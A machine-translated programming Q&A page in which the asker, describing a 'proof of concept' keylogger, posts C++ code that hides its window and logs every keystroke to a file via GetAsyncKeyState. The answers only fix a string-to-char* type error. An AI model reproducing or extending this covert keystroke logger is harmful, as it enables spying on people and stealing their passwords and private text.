【问题标题】:cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)' [duplicate]无法将参数 '2' 的 'std::string {aka std::basic_string<char>}' 转换为 'char*' 到 'int Save(int, char*)' [重复]
【发布时间】:2015-01-03 03:20:34
【问题描述】:

我目前正在开发一个简单的键盘记录器来证明一个概念。 但我不断收到此错误:

cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'

是的,我已经四处寻找,但没有一个有效。我正在尝试从文本文件中读取变量。

我该如何解决?代码:

int Save (int key_stroke, char *file);
int getFile (string file);
void Stealth();
string fileN;

int main()
{
    ifstream fN("c.txt");
    fN >> fileN;

    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,fileN);
        }
    }
    system ("PAUSE");
    return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}

【问题讨论】:

  • Save 获取const char*,然后将fileN.c_str() 传递给它。就此而言,为什么不让Save 接受const string&amp;

标签: c++


【解决方案1】:

正如错误消息所述,您正在尝试将 std::string 传递给需要指向字符数组的指针的函数。

最好的解决方案是将函数更改为使用字符串:

int Save (int key_stroke, const std::string & file);

然后在需要的时候提取一个指针

fopen(file.c_str(), "a+");
          ^^^^^^^^

或者,如果您想保留代码的 C 风格美感,您可以将参数类型更改为 const char *,并将 fileN.c_str() 传递给它。

【讨论】:

    【解决方案2】:

    要从 std::string 中获取 C 风格的字符串,请使用 c_str() 成员函数。它将返回一个以 null 结尾的 const char *。但是,您的功能似乎需要char*。当然,您可以使用const_cast 指针来获取char*,但更合理的方法是让您的函数首先采用const char*const std::string&amp;

    【讨论】:

      猜你喜欢
      • 2023-03-21
      • 1970-01-01
      • 2017-03-10
      • 2014-07-13
      • 1970-01-01
      • 2014-03-02
      • 1970-01-01
      • 2015-04-28
      • 1970-01-01
      相关资源
      最近更新 更多